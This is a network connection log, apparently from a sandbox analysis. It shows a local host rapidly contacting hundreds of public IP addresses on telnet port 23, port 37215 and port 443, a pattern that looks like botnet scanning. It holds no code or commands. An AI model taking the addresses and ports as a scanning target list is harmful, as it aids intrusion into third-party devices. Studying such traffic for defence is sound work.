Oct 14, 2024 17:30:06.886466026 CEST	23	12058	219.232.240.30	192.168.2.14
Oct 14, 2024 17:30:06.886472940 CEST	23	12058	84.161.83.12	192.168.2.14
Oct 14, 2024 17:30:06.886481047 CEST	12058	23	192.168.2.14	162.60.45.144
Oct 14, 2024 17:30:06.886488914 CEST	12058	23	192.168.2.14	205.53.204.24
Oct 14, 2024 17:30:06.886488914 CEST	23	12058	51.201.53.118	192.168.2.14
Oct 14, 2024 17:30:06.886495113 CEST	23	12058	87.160.115.164	192.168.2.14
Oct 14, 2024 17:30:06.886502981 CEST	12058	23	192.168.2.14	70.26.170.232
Oct 14, 2024 17:30:06.886508942 CEST	23	12058	87.254.93.147	192.168.2.14
Oct 14, 2024 17:30:06.886512041 CEST	12058	23	192.168.2.14	195.166.77.114
Oct 14, 2024 17:30:06.886512041 CEST	12058	23	192.168.2.14	219.232.240.30
Oct 14, 2024 17:30:06.886512041 CEST	12058	23	192.168.2.14	122.206.155.210
Oct 14, 2024 17:30:06.886513948 CEST	23	12058	36.125.33.78	192.168.2.14
Oct 14, 2024 17:30:06.886514902 CEST	12058	23	192.168.2.14	84.161.83.12
Oct 14, 2024 17:30:06.886527061 CEST	23	12058	131.0.36.208	192.168.2.14
Oct 14, 2024 17:30:06.886529922 CEST	12058	23	192.168.2.14	87.160.115.164
Oct 14, 2024 17:30:06.886533976 CEST	23	12058	74.50.118.151	192.168.2.14
Oct 14, 2024 17:30:06.886538982 CEST	23	12058	201.20.182.165	192.168.2.14
Oct 14, 2024 17:30:06.886550903 CEST	23	12058	173.143.63.69	192.168.2.14
Oct 14, 2024 17:30:06.886555910 CEST	12058	23	192.168.2.14	36.125.33.78
Oct 14, 2024 17:30:06.886557102 CEST	23	12058	20.164.248.45	192.168.2.14
Oct 14, 2024 17:30:06.886563063 CEST	23	12058	95.248.146.31	192.168.2.14
Oct 14, 2024 17:30:06.886564970 CEST	12058	23	192.168.2.14	131.0.36.208
Oct 14, 2024 17:30:06.886568069 CEST	23	12058	195.177.150.231	192.168.2.14
Oct 14, 2024 17:30:06.886573076 CEST	12058	23	192.168.2.14	51.201.53.118
Oct 14, 2024 17:30:06.886573076 CEST	12058	23	192.168.2.14	201.20.182.165
Oct 14, 2024 17:30:06.886574030 CEST	23	12058	170.244.8.141	192.168.2.14
Oct 14, 2024 17:30:06.886579037 CEST	23	12058	42.33.135.173	192.168.2.14
Oct 14, 2024 17:30:06.886579990 CEST	12058	23	192.168.2.14	87.254.93.147
Oct 14, 2024 17:30:06.886579990 CEST	12058	23	192.168.2.14	74.50.118.151
Oct 14, 2024 17:30:06.886584997 CEST	23	12058	137.45.187.137	192.168.2.14
Oct 14, 2024 17:30:06.886600018 CEST	12058	23	192.168.2.14	173.143.63.69
Oct 14, 2024 17:30:06.886603117 CEST	12058	23	192.168.2.14	20.164.248.45
Oct 14, 2024 17:30:06.886603117 CEST	12058	23	192.168.2.14	195.177.150.231
Oct 14, 2024 17:30:06.886611938 CEST	12058	23	192.168.2.14	95.248.146.31
Oct 14, 2024 17:30:06.886612892 CEST	12058	23	192.168.2.14	170.244.8.141
Oct 14, 2024 17:30:06.886620998 CEST	12058	23	192.168.2.14	42.33.135.173
Oct 14, 2024 17:30:06.886622906 CEST	12058	23	192.168.2.14	137.45.187.137
Oct 14, 2024 17:30:06.886719942 CEST	23	12058	134.180.167.220	192.168.2.14
Oct 14, 2024 17:30:06.886770964 CEST	23	12058	9.133.128.129	192.168.2.14
Oct 14, 2024 17:30:06.886776924 CEST	23	12058	80.184.94.137	192.168.2.14
Oct 14, 2024 17:30:06.886776924 CEST	12058	23	192.168.2.14	134.180.167.220
Oct 14, 2024 17:30:06.886790037 CEST	23	12058	161.190.62.124	192.168.2.14
Oct 14, 2024 17:30:06.886795998 CEST	23	12058	159.151.223.146	192.168.2.14
Oct 14, 2024 17:30:06.886801958 CEST	23	12058	216.182.216.85	192.168.2.14
Oct 14, 2024 17:30:06.886822939 CEST	23	12058	93.88.140.44	192.168.2.14
Oct 14, 2024 17:30:06.886828899 CEST	23	12058	221.105.96.182	192.168.2.14
Oct 14, 2024 17:30:06.886836052 CEST	23	12058	73.191.51.208	192.168.2.14
Oct 14, 2024 17:30:06.886837006 CEST	12058	23	192.168.2.14	9.133.128.129
Oct 14, 2024 17:30:06.886837006 CEST	12058	23	192.168.2.14	80.184.94.137
Oct 14, 2024 17:30:06.886842012 CEST	23	12058	217.102.115.153	192.168.2.14
Oct 14, 2024 17:30:06.886847973 CEST	23	12058	150.238.238.174	192.168.2.14
Oct 14, 2024 17:30:06.886853933 CEST	23	12058	207.50.155.79	192.168.2.14
Oct 14, 2024 17:30:06.886858940 CEST	23	12058	124.76.78.176	192.168.2.14
Oct 14, 2024 17:30:06.886859894 CEST	12058	23	192.168.2.14	161.190.62.124
Oct 14, 2024 17:30:06.886859894 CEST	12058	23	192.168.2.14	159.151.223.146
Oct 14, 2024 17:30:06.886864901 CEST	23	12058	118.13.159.241	192.168.2.14
Oct 14, 2024 17:30:06.886866093 CEST	12058	23	192.168.2.14	216.182.216.85
Oct 14, 2024 17:30:06.886869907 CEST	12058	23	192.168.2.14	93.88.140.44
Oct 14, 2024 17:30:06.886871099 CEST	23	12058	152.50.58.35	192.168.2.14
Oct 14, 2024 17:30:06.886877060 CEST	23	12058	70.62.79.177	192.168.2.14
Oct 14, 2024 17:30:06.886878014 CEST	12058	23	192.168.2.14	221.105.96.182
Oct 14, 2024 17:30:06.886882067 CEST	23	12058	98.58.238.218	192.168.2.14
Oct 14, 2024 17:30:06.886888027 CEST	23	12058	203.187.44.253	192.168.2.14
Oct 14, 2024 17:30:06.886893988 CEST	23	12058	106.52.252.18	192.168.2.14
Oct 14, 2024 17:30:06.886893988 CEST	12058	23	192.168.2.14	217.102.115.153
Oct 14, 2024 17:30:06.886894941 CEST	12058	23	192.168.2.14	73.191.51.208
Oct 14, 2024 17:30:06.886898994 CEST	23	12058	168.244.86.30	192.168.2.14
Oct 14, 2024 17:30:06.886905909 CEST	23	12058	166.226.239.161	192.168.2.14
Oct 14, 2024 17:30:06.886914015 CEST	23	12058	217.185.100.119	192.168.2.14
Oct 14, 2024 17:30:06.886918068 CEST	12058	23	192.168.2.14	150.238.238.174
Oct 14, 2024 17:30:06.886918068 CEST	12058	23	192.168.2.14	207.50.155.79
Oct 14, 2024 17:30:06.886919975 CEST	23	12058	203.131.54.149	192.168.2.14
Oct 14, 2024 17:30:06.886920929 CEST	12058	23	192.168.2.14	124.76.78.176
Oct 14, 2024 17:30:06.886926889 CEST	23	12058	220.70.90.242	192.168.2.14
Oct 14, 2024 17:30:06.886930943 CEST	12058	23	192.168.2.14	70.62.79.177
Oct 14, 2024 17:30:06.886933088 CEST	23	12058	36.220.35.193	192.168.2.14
Oct 14, 2024 17:30:06.886936903 CEST	12058	23	192.168.2.14	98.58.238.218
Oct 14, 2024 17:30:06.886939049 CEST	23	12058	200.99.171.11	192.168.2.14
Oct 14, 2024 17:30:06.886944056 CEST	23	12058	186.153.34.135	192.168.2.14
Oct 14, 2024 17:30:06.886945009 CEST	12058	23	192.168.2.14	203.187.44.253
Oct 14, 2024 17:30:06.886949062 CEST	23	12058	4.183.244.193	192.168.2.14
Oct 14, 2024 17:30:06.886970997 CEST	12058	23	192.168.2.14	152.50.58.35
Oct 14, 2024 17:30:06.886971951 CEST	12058	23	192.168.2.14	106.52.252.18
Oct 14, 2024 17:30:06.886972904 CEST	12058	23	192.168.2.14	166.226.239.161
Oct 14, 2024 17:30:06.886974096 CEST	12058	23	192.168.2.14	118.13.159.241
Oct 14, 2024 17:30:06.886974096 CEST	12058	23	192.168.2.14	168.244.86.30
Oct 14, 2024 17:30:06.886974096 CEST	12058	23	192.168.2.14	217.185.100.119
Oct 14, 2024 17:30:06.886979103 CEST	12058	23	192.168.2.14	203.131.54.149
Oct 14, 2024 17:30:06.886984110 CEST	12058	23	192.168.2.14	36.220.35.193
Oct 14, 2024 17:30:06.886984110 CEST	12058	23	192.168.2.14	220.70.90.242
Oct 14, 2024 17:30:06.886993885 CEST	12058	23	192.168.2.14	200.99.171.11
Oct 14, 2024 17:30:06.887003899 CEST	12058	23	192.168.2.14	186.153.34.135
Oct 14, 2024 17:30:06.887010098 CEST	12058	23	192.168.2.14	4.183.244.193
Oct 14, 2024 17:30:06.887079954 CEST	23	12058	9.162.245.238	192.168.2.14
Oct 14, 2024 17:30:06.887085915 CEST	23	12058	39.202.151.152	192.168.2.14
Oct 14, 2024 17:30:06.887099028 CEST	23	12058	72.184.6.210	192.168.2.14
Oct 14, 2024 17:30:06.887104988 CEST	23	12058	48.185.45.184	192.168.2.14
Oct 14, 2024 17:30:06.887116909 CEST	23	12058	160.57.149.151	192.168.2.14
Oct 14, 2024 17:30:06.887123108 CEST	23	12058	53.161.248.175	192.168.2.14
Oct 14, 2024 17:30:06.887126923 CEST	12058	23	192.168.2.14	39.202.151.152
Oct 14, 2024 17:30:06.887126923 CEST	12058	23	192.168.2.14	9.162.245.238
Oct 14, 2024 17:30:06.887139082 CEST	23	12058	203.128.83.203	192.168.2.14
Oct 14, 2024 17:30:06.887145042 CEST	23	12058	217.1.172.236	192.168.2.14
Oct 14, 2024 17:30:06.887149096 CEST	54042	443	192.168.2.14	117.138.248.32
Oct 14, 2024 17:30:06.887154102 CEST	12058	23	192.168.2.14	160.57.149.151
Oct 14, 2024 17:30:06.887155056 CEST	12058	23	192.168.2.14	72.184.6.210
Oct 14, 2024 17:30:06.887156010 CEST	12058	23	192.168.2.14	48.185.45.184
Oct 14, 2024 17:30:06.887161970 CEST	23	12058	51.18.62.225	192.168.2.14
Oct 14, 2024 17:30:06.887167931 CEST	23	12058	141.7.165.6	192.168.2.14
Oct 14, 2024 17:30:06.887173891 CEST	23	12058	190.231.196.76	192.168.2.14
Oct 14, 2024 17:30:06.887176037 CEST	12058	23	192.168.2.14	53.161.248.175
Oct 14, 2024 17:30:06.887176991 CEST	12058	23	192.168.2.14	203.128.83.203
Oct 14, 2024 17:30:06.887180090 CEST	23	12058	74.53.62.230	192.168.2.14
Oct 14, 2024 17:30:06.887186050 CEST	23	12058	90.15.26.249	192.168.2.14
Oct 14, 2024 17:30:06.887198925 CEST	54042	443	192.168.2.14	212.71.246.32
Oct 14, 2024 17:30:06.887198925 CEST	23	12058	88.109.218.40	192.168.2.14
Oct 14, 2024 17:30:06.887203932 CEST	12058	23	192.168.2.14	141.7.165.6
Oct 14, 2024 17:30:06.887206078 CEST	23	12058	94.119.20.177	192.168.2.14
Oct 14, 2024 17:30:06.887211084 CEST	12058	23	192.168.2.14	217.1.172.236
Oct 14, 2024 17:30:06.887212992 CEST	23	12058	34.138.41.185	192.168.2.14
Oct 14, 2024 17:30:06.887218952 CEST	23	12058	140.71.221.77	192.168.2.14
Oct 14, 2024 17:30:06.887223005 CEST	12058	23	192.168.2.14	51.18.62.225
Oct 14, 2024 17:30:06.887226105 CEST	12058	23	192.168.2.14	74.53.62.230
Oct 14, 2024 17:30:06.887223959 CEST	12058	23	192.168.2.14	190.231.196.76
Oct 14, 2024 17:30:06.887223959 CEST	23	12058	70.197.108.211	192.168.2.14
Oct 14, 2024 17:30:06.887244940 CEST	12058	23	192.168.2.14	94.119.20.177
Oct 14, 2024 17:30:06.887248993 CEST	23	12058	190.222.134.89	192.168.2.14
Oct 14, 2024 17:30:06.887275934 CEST	12058	23	192.168.2.14	70.197.108.211
Oct 14, 2024 17:30:06.887275934 CEST	12058	23	192.168.2.14	90.15.26.249
Oct 14, 2024 17:30:06.887275934 CEST	12058	23	192.168.2.14	88.109.218.40
Oct 14, 2024 17:30:06.887275934 CEST	12058	23	192.168.2.14	34.138.41.185
Oct 14, 2024 17:30:06.887275934 CEST	12058	23	192.168.2.14	140.71.221.77
Oct 14, 2024 17:30:06.887281895 CEST	54042	443	192.168.2.14	148.43.140.234
Oct 14, 2024 17:30:06.887295961 CEST	12058	23	192.168.2.14	190.222.134.89
Oct 14, 2024 17:30:06.887324095 CEST	54042	443	192.168.2.14	79.202.179.30
Oct 14, 2024 17:30:06.887346983 CEST	54042	443	192.168.2.14	2.14.224.187
Oct 14, 2024 17:30:06.887366056 CEST	54042	443	192.168.2.14	212.113.110.156
Oct 14, 2024 17:30:06.887379885 CEST	54042	443	192.168.2.14	79.233.76.230
Oct 14, 2024 17:30:06.887379885 CEST	54042	443	192.168.2.14	37.62.39.239
Oct 14, 2024 17:30:06.887402058 CEST	54042	443	192.168.2.14	109.94.126.235
Oct 14, 2024 17:30:06.887403965 CEST	54042	443	192.168.2.14	212.243.175.110
Oct 14, 2024 17:30:06.887407064 CEST	54042	443	192.168.2.14	148.108.188.13
Oct 14, 2024 17:30:06.887407064 CEST	54042	443	192.168.2.14	210.7.152.127
Oct 14, 2024 17:30:06.887413025 CEST	54042	443	192.168.2.14	94.2.180.168
Oct 14, 2024 17:30:06.887415886 CEST	54042	443	192.168.2.14	118.110.199.87
Oct 14, 2024 17:30:06.887438059 CEST	54042	443	192.168.2.14	2.26.83.208
Oct 14, 2024 17:30:06.887449980 CEST	54042	443	192.168.2.14	212.47.125.158
Oct 14, 2024 17:30:06.887485027 CEST	54042	443	192.168.2.14	178.81.167.110
Oct 14, 2024 17:30:06.887494087 CEST	23	12058	124.155.244.235	192.168.2.14
Oct 14, 2024 17:30:06.887496948 CEST	54042	443	192.168.2.14	212.240.73.155
Oct 14, 2024 17:30:06.887496948 CEST	54042	443	192.168.2.14	202.196.183.168
Oct 14, 2024 17:30:06.887501001 CEST	23	12058	184.113.36.50	192.168.2.14
Oct 14, 2024 17:30:06.887506008 CEST	54042	443	192.168.2.14	2.96.62.17
Oct 14, 2024 17:30:06.887515068 CEST	54042	443	192.168.2.14	94.114.21.82
Oct 14, 2024 17:30:06.887515068 CEST	23	12058	51.219.71.113	192.168.2.14
Oct 14, 2024 17:30:06.887516975 CEST	54042	443	192.168.2.14	42.141.55.237
Oct 14, 2024 17:30:06.887515068 CEST	54042	443	192.168.2.14	37.225.92.12
Oct 14, 2024 17:30:06.887515068 CEST	54042	443	192.168.2.14	148.96.118.61
Oct 14, 2024 17:30:06.887542009 CEST	23	12058	54.135.220.60	192.168.2.14
Oct 14, 2024 17:30:06.887542009 CEST	12058	23	192.168.2.14	184.113.36.50
Oct 14, 2024 17:30:06.887542963 CEST	54042	443	192.168.2.14	109.108.180.61
Oct 14, 2024 17:30:06.887545109 CEST	54042	443	192.168.2.14	210.125.245.51
Oct 14, 2024 17:30:06.887548923 CEST	12058	23	192.168.2.14	124.155.244.235
Oct 14, 2024 17:30:06.887578011 CEST	23	12058	71.40.21.237	192.168.2.14
Oct 14, 2024 17:30:06.887583971 CEST	23	12058	18.151.98.161	192.168.2.14
Oct 14, 2024 17:30:06.887588978 CEST	12058	23	192.168.2.14	51.219.71.113
Oct 14, 2024 17:30:06.887588978 CEST	12058	23	192.168.2.14	54.135.220.60
Oct 14, 2024 17:30:06.887594938 CEST	23	12058	156.94.65.151	192.168.2.14
Oct 14, 2024 17:30:06.887599945 CEST	23	12058	153.12.83.73	192.168.2.14
Oct 14, 2024 17:30:06.887613058 CEST	23	12058	24.49.39.75	192.168.2.14
Oct 14, 2024 17:30:06.887618065 CEST	12058	23	192.168.2.14	71.40.21.237
Oct 14, 2024 17:30:06.887618065 CEST	12058	23	192.168.2.14	18.151.98.161
Oct 14, 2024 17:30:06.887619019 CEST	23	12058	140.160.237.93	192.168.2.14
Oct 14, 2024 17:30:06.887624979 CEST	23	12058	73.247.38.187	192.168.2.14
Oct 14, 2024 17:30:06.887631893 CEST	23	12058	146.27.151.128	192.168.2.14
Oct 14, 2024 17:30:06.887646914 CEST	12058	23	192.168.2.14	156.94.65.151
Oct 14, 2024 17:30:06.887649059 CEST	23	12058	109.196.187.35	192.168.2.14
Oct 14, 2024 17:30:06.887655973 CEST	23	12058	105.246.241.129	192.168.2.14
Oct 14, 2024 17:30:06.887659073 CEST	12058	23	192.168.2.14	73.247.38.187
Oct 14, 2024 17:30:06.887661934 CEST	23	12058	48.29.84.159	192.168.2.14
Oct 14, 2024 17:30:06.887664080 CEST	12058	23	192.168.2.14	153.12.83.73
Oct 14, 2024 17:30:06.887664080 CEST	12058	23	192.168.2.14	24.49.39.75
Oct 14, 2024 17:30:06.887667894 CEST	23	12058	169.80.211.127	192.168.2.14
Oct 14, 2024 17:30:06.887670994 CEST	12058	23	192.168.2.14	146.27.151.128
Oct 14, 2024 17:30:06.887691021 CEST	23	12058	171.9.139.154	192.168.2.14
Oct 14, 2024 17:30:06.887697935 CEST	23	12058	216.238.49.31	192.168.2.14
Oct 14, 2024 17:30:06.887701035 CEST	12058	23	192.168.2.14	140.160.237.93
Oct 14, 2024 17:30:06.887703896 CEST	23	12058	201.147.77.50	192.168.2.14
Oct 14, 2024 17:30:06.887706995 CEST	12058	23	192.168.2.14	109.196.187.35
Oct 14, 2024 17:30:06.887706995 CEST	12058	23	192.168.2.14	105.246.241.129
Oct 14, 2024 17:30:06.887710094 CEST	23	12058	170.181.16.153	192.168.2.14
Oct 14, 2024 17:30:06.887715101 CEST	23	12058	202.124.121.88	192.168.2.14
Oct 14, 2024 17:30:06.887712002 CEST	12058	23	192.168.2.14	169.80.211.127
Oct 14, 2024 17:30:06.887712002 CEST	12058	23	192.168.2.14	48.29.84.159
Oct 14, 2024 17:30:06.887721062 CEST	23	12058	137.29.104.115	192.168.2.14
Oct 14, 2024 17:30:06.887727022 CEST	23	12058	174.154.56.96	192.168.2.14
Oct 14, 2024 17:30:06.887732983 CEST	12058	23	192.168.2.14	216.238.49.31
Oct 14, 2024 17:30:06.887732983 CEST	23	12058	197.247.85.1	192.168.2.14
Oct 14, 2024 17:30:06.887737036 CEST	12058	23	192.168.2.14	171.9.139.154
Oct 14, 2024 17:30:06.887742996 CEST	23	12058	101.230.62.14	192.168.2.14
Oct 14, 2024 17:30:06.887748003 CEST	12058	23	192.168.2.14	201.147.77.50
Oct 14, 2024 17:30:06.887748957 CEST	12058	23	192.168.2.14	137.29.104.115
Oct 14, 2024 17:30:06.887758017 CEST	12058	23	192.168.2.14	174.154.56.96
Oct 14, 2024 17:30:06.887762070 CEST	12058	23	192.168.2.14	202.124.121.88
Oct 14, 2024 17:30:06.887767076 CEST	12058	23	192.168.2.14	197.247.85.1
Oct 14, 2024 17:30:06.887777090 CEST	12058	23	192.168.2.14	101.230.62.14
Oct 14, 2024 17:30:06.887856960 CEST	54042	443	192.168.2.14	109.225.67.75
Oct 14, 2024 17:30:06.887866974 CEST	12058	23	192.168.2.14	170.181.16.153
Oct 14, 2024 17:30:06.887868881 CEST	54042	443	192.168.2.14	117.230.29.109
Oct 14, 2024 17:30:06.887868881 CEST	54042	443	192.168.2.14	94.86.10.147
Oct 14, 2024 17:30:06.887887955 CEST	54042	443	192.168.2.14	79.49.138.60
Oct 14, 2024 17:30:06.887891054 CEST	54042	443	192.168.2.14	123.37.236.169
Oct 14, 2024 17:30:06.887916088 CEST	37215	53786	197.130.248.32	192.168.2.14
Oct 14, 2024 17:30:06.887916088 CEST	54042	443	192.168.2.14	148.54.177.98
Oct 14, 2024 17:30:06.887923002 CEST	54042	443	192.168.2.14	5.124.53.118
Oct 14, 2024 17:30:06.887928009 CEST	37215	53786	197.79.246.32	192.168.2.14
Oct 14, 2024 17:30:06.887929916 CEST	37215	53786	156.35.204.234	192.168.2.14
Oct 14, 2024 17:30:06.887931108 CEST	54042	443	192.168.2.14	148.171.94.75
Oct 14, 2024 17:30:06.887936115 CEST	37215	53786	41.70.160.187	192.168.2.14
Oct 14, 2024 17:30:06.887942076 CEST	54042	443	192.168.2.14	123.186.117.220
Oct 14, 2024 17:30:06.887942076 CEST	54042	443	192.168.2.14	148.249.211.137
Oct 14, 2024 17:30:06.887943029 CEST	37215	53786	197.171.14.228	192.168.2.14
Oct 14, 2024 17:30:06.887955904 CEST	37215	53786	197.136.241.30	192.168.2.14
Oct 14, 2024 17:30:06.887962103 CEST	37215	53786	197.105.44.140	192.168.2.14
Oct 14, 2024 17:30:06.887964010 CEST	53786	37215	192.168.2.14	197.130.248.32
Oct 14, 2024 17:30:06.887965918 CEST	54042	443	192.168.2.14	117.183.141.25
Oct 14, 2024 17:30:06.887967110 CEST	37215	53786	156.180.126.31	192.168.2.14
Oct 14, 2024 17:30:06.887967110 CEST	53786	37215	192.168.2.14	197.79.246.32
Oct 14, 2024 17:30:06.887967110 CEST	53786	37215	192.168.2.14	156.35.204.234
Oct 14, 2024 17:30:06.887990952 CEST	53786	37215	192.168.2.14	197.136.241.30
Oct 14, 2024 17:30:06.887993097 CEST	53786	37215	192.168.2.14	197.171.14.228
Oct 14, 2024 17:30:06.887996912 CEST	53786	37215	192.168.2.14	41.70.160.187
Oct 14, 2024 17:30:06.888000965 CEST	53786	37215	192.168.2.14	197.105.44.140
Oct 14, 2024 17:30:06.888005972 CEST	37215	53786	156.254.231.239	192.168.2.14
Oct 14, 2024 17:30:06.888011932 CEST	37215	53786	41.240.247.143	192.168.2.14
Oct 14, 2024 17:30:06.888019085 CEST	37215	53786	197.113.237.110	192.168.2.14
Oct 14, 2024 17:30:06.888025045 CEST	37215	53786	41.149.141.75	192.168.2.14
Oct 14, 2024 17:30:06.888025999 CEST	54042	443	192.168.2.14	212.29.2.182
Oct 14, 2024 17:30:06.888029099 CEST	53786	37215	192.168.2.14	156.180.126.31
Oct 14, 2024 17:30:06.888031006 CEST	37215	53786	197.85.47.66	192.168.2.14
Oct 14, 2024 17:30:06.888031006 CEST	54042	443	192.168.2.14	212.210.18.103
Oct 14, 2024 17:30:06.888046980 CEST	54042	443	192.168.2.14	94.94.17.5
Oct 14, 2024 17:30:06.888046980 CEST	53786	37215	192.168.2.14	156.254.231.239
Oct 14, 2024 17:30:06.888051987 CEST	53786	37215	192.168.2.14	41.240.247.143
Oct 14, 2024 17:30:06.888052940 CEST	53786	37215	192.168.2.14	41.149.141.75
Oct 14, 2024 17:30:06.888061047 CEST	53786	37215	192.168.2.14	197.113.237.110
Oct 14, 2024 17:30:06.888076067 CEST	54042	443	192.168.2.14	37.95.110.66
Oct 14, 2024 17:30:06.888076067 CEST	54042	443	192.168.2.14	5.112.56.161
Oct 14, 2024 17:30:06.888086081 CEST	54042	443	192.168.2.14	123.100.149.20
Oct 14, 2024 17:30:06.888087988 CEST	53786	37215	192.168.2.14	197.85.47.66
Oct 14, 2024 17:30:06.888088942 CEST	54042	443	192.168.2.14	178.213.21.236
Oct 14, 2024 17:30:06.888107061 CEST	54042	443	192.168.2.14	2.47.99.48
Oct 14, 2024 17:30:06.888107061 CEST	54042	443	192.168.2.14	123.222.63.206
Oct 14, 2024 17:30:06.888109922 CEST	54042	443	192.168.2.14	123.205.227.25
Oct 14, 2024 17:30:06.888111115 CEST	54042	443	192.168.2.14	94.11.184.139
Oct 14, 2024 17:30:06.888120890 CEST	54042	443	192.168.2.14	210.164.87.149
Oct 14, 2024 17:30:06.888124943 CEST	54042	443	192.168.2.14	42.203.245.175
Oct 14, 2024 17:30:06.888151884 CEST	54042	443	192.168.2.14	2.238.226.52
Oct 14, 2024 17:30:06.888159990 CEST	54042	443	192.168.2.14	212.237.4.242
Oct 14, 2024 17:30:06.888186932 CEST	54042	443	192.168.2.14	212.110.76.47
Oct 14, 2024 17:30:06.888196945 CEST	54042	443	192.168.2.14	202.8.117.199
Oct 14, 2024 17:30:06.888204098 CEST	54042	443	192.168.2.14	5.136.144.237
Oct 14, 2024 17:30:06.888209105 CEST	54042	443	192.168.2.14	210.139.199.95
Oct 14, 2024 17:30:06.888209105 CEST	54042	443	192.168.2.14	109.220.246.56
Oct 14, 2024 17:30:06.888222933 CEST	54042	443	192.168.2.14	210.59.99.162
Oct 14, 2024 17:30:06.888241053 CEST	54042	443	192.168.2.14	212.119.45.163
Oct 14, 2024 17:30:06.888245106 CEST	54042	443	192.168.2.14	42.150.132.225
Oct 14, 2024 17:30:06.888257980 CEST	54042	443	192.168.2.14	212.58.56.33
Oct 14, 2024 17:30:06.888284922 CEST	54042	443	192.168.2.14	42.218.34.118
Oct 14, 2024 17:30:06.888308048 CEST	54042	443	192.168.2.14	123.222.92.202
Oct 14, 2024 17:30:06.888308048 CEST	54042	443	192.168.2.14	148.35.203.221
Oct 14, 2024 17:30:06.888309956 CEST	54042	443	192.168.2.14	202.72.41.163
Oct 14, 2024 17:30:06.888320923 CEST	54042	443	192.168.2.14	212.22.135.73
Oct 14, 2024 17:30:06.888325930 CEST	23	52058	32.243.139.213	192.168.2.14
Oct 14, 2024 17:30:06.888328075 CEST	54042	443	192.168.2.14	37.148.15.77
Oct 14, 2024 17:30:06.888333082 CEST	37215	53786	197.116.186.75	192.168.2.14
Oct 14, 2024 17:30:06.888339043 CEST	23	56012	173.167.241.32	192.168.2.14
Oct 14, 2024 17:30:06.888345957 CEST	37215	53786	197.167.109.181	192.168.2.14
Oct 14, 2024 17:30:06.888348103 CEST	54042	443	192.168.2.14	109.252.254.106
Oct 14, 2024 17:30:06.888351917 CEST	37215	53786	41.132.245.113	192.168.2.14
Oct 14, 2024 17:30:06.888355017 CEST	54042	443	192.168.2.14	37.11.43.26
Oct 14, 2024 17:30:06.888359070 CEST	37215	53786	197.184.191.152	192.168.2.14
Oct 14, 2024 17:30:06.888360977 CEST	54042	443	192.168.2.14	42.253.50.206
Oct 14, 2024 17:30:06.888360977 CEST	54042	443	192.168.2.14	148.84.192.141
Oct 14, 2024 17:30:06.888364077 CEST	37215	53786	156.123.216.10	192.168.2.14
Oct 14, 2024 17:30:06.888370991 CEST	37215	53786	197.210.66.0	192.168.2.14
Oct 14, 2024 17:30:06.888376951 CEST	37215	53786	156.174.79.161	192.168.2.14
Oct 14, 2024 17:30:06.888381958 CEST	23	41772	41.9.64.14	192.168.2.14
Oct 14, 2024 17:30:06.888382912 CEST	52058	23	192.168.2.14	32.243.139.213
Oct 14, 2024 17:30:06.888389111 CEST	37215	53786	41.112.232.237	192.168.2.14
Oct 14, 2024 17:30:06.888389111 CEST	53786	37215	192.168.2.14	197.116.186.75
Oct 14, 2024 17:30:06.888389111 CEST	56012	23	192.168.2.14	173.167.241.32
Oct 14, 2024 17:30:06.888391018 CEST	54042	443	192.168.2.14	210.171.49.97
Oct 14, 2024 17:30:06.888391018 CEST	54042	443	192.168.2.14	117.215.141.170
Oct 14, 2024 17:30:06.888397932 CEST	23	47316	98.109.255.32	192.168.2.14
Oct 14, 2024 17:30:06.888405085 CEST	37215	53786	41.147.113.119	192.168.2.14
Oct 14, 2024 17:30:06.888406038 CEST	53786	37215	192.168.2.14	197.184.191.152
Oct 14, 2024 17:30:06.888406038 CEST	53786	37215	192.168.2.14	197.167.109.181
Oct 14, 2024 17:30:06.888410091 CEST	37215	53786	156.56.234.41	192.168.2.14
Oct 14, 2024 17:30:06.888413906 CEST	41772	23	192.168.2.14	41.9.64.14
Oct 14, 2024 17:30:06.888417959 CEST	37215	53786	156.53.169.240	192.168.2.14
Oct 14, 2024 17:30:06.888423920 CEST	53786	37215	192.168.2.14	41.132.245.113
Oct 14, 2024 17:30:06.888423920 CEST	53786	37215	192.168.2.14	41.112.232.237
Oct 14, 2024 17:30:06.888426065 CEST	23	36028	156.199.64.157	192.168.2.14
Oct 14, 2024 17:30:06.888427019 CEST	53786	37215	192.168.2.14	197.210.66.0
Oct 14, 2024 17:30:06.888430119 CEST	23	38030	181.235.217.168	192.168.2.14
Oct 14, 2024 17:30:06.888432026 CEST	53786	37215	192.168.2.14	156.174.79.161
Oct 14, 2024 17:30:06.888434887 CEST	47316	23	192.168.2.14	98.109.255.32
Oct 14, 2024 17:30:06.888434887 CEST	53786	37215	192.168.2.14	156.123.216.10
Oct 14, 2024 17:30:06.888436079 CEST	23	57550	219.33.103.174	192.168.2.14
Oct 14, 2024 17:30:06.888437986 CEST	53786	37215	192.168.2.14	41.147.113.119
Oct 14, 2024 17:30:06.888439894 CEST	37215	53786	41.56.218.39	192.168.2.14
Oct 14, 2024 17:30:06.888443947 CEST	37215	53786	41.8.242.143	192.168.2.14
Oct 14, 2024 17:30:06.888449907 CEST	23	54542	57.69.141.47	192.168.2.14
Oct 14, 2024 17:30:06.888459921 CEST	53786	37215	192.168.2.14	156.56.234.41
Oct 14, 2024 17:30:06.888459921 CEST	57550	23	192.168.2.14	219.33.103.174
Oct 14, 2024 17:30:06.888463020 CEST	36028	23	192.168.2.14	156.199.64.157
Oct 14, 2024 17:30:06.888463020 CEST	53786	37215	192.168.2.14	156.53.169.240
Oct 14, 2024 17:30:06.888464928 CEST	37215	53786	197.100.13.212	192.168.2.14
Oct 14, 2024 17:30:06.888483047 CEST	38030	23	192.168.2.14	181.235.217.168
Oct 14, 2024 17:30:06.888487101 CEST	54542	23	192.168.2.14	57.69.141.47
Oct 14, 2024 17:30:06.888489008 CEST	53786	37215	192.168.2.14	41.56.218.39
Oct 14, 2024 17:30:06.888497114 CEST	53786	37215	192.168.2.14	197.100.13.212
Oct 14, 2024 17:30:06.888506889 CEST	53786	37215	192.168.2.14	41.8.242.143
Oct 14, 2024 17:30:06.888588905 CEST	52130	23	192.168.2.14	12.216.230.134
Oct 14, 2024 17:30:06.888606071 CEST	59996	23	192.168.2.14	161.57.7.247
Oct 14, 2024 17:30:06.888637066 CEST	52454	23	192.168.2.14	208.108.109.204
Oct 14, 2024 17:30:06.888664961 CEST	56862	23	192.168.2.14	48.115.50.1
Oct 14, 2024 17:30:06.888695955 CEST	46316	23	192.168.2.14	66.140.45.169
Oct 14, 2024 17:30:06.888714075 CEST	55830	23	192.168.2.14	130.18.218.137
Oct 14, 2024 17:30:06.888720989 CEST	39242	23	192.168.2.14	116.247.77.200
Oct 14, 2024 17:30:06.888720989 CEST	43624	23	192.168.2.14	124.37.241.209
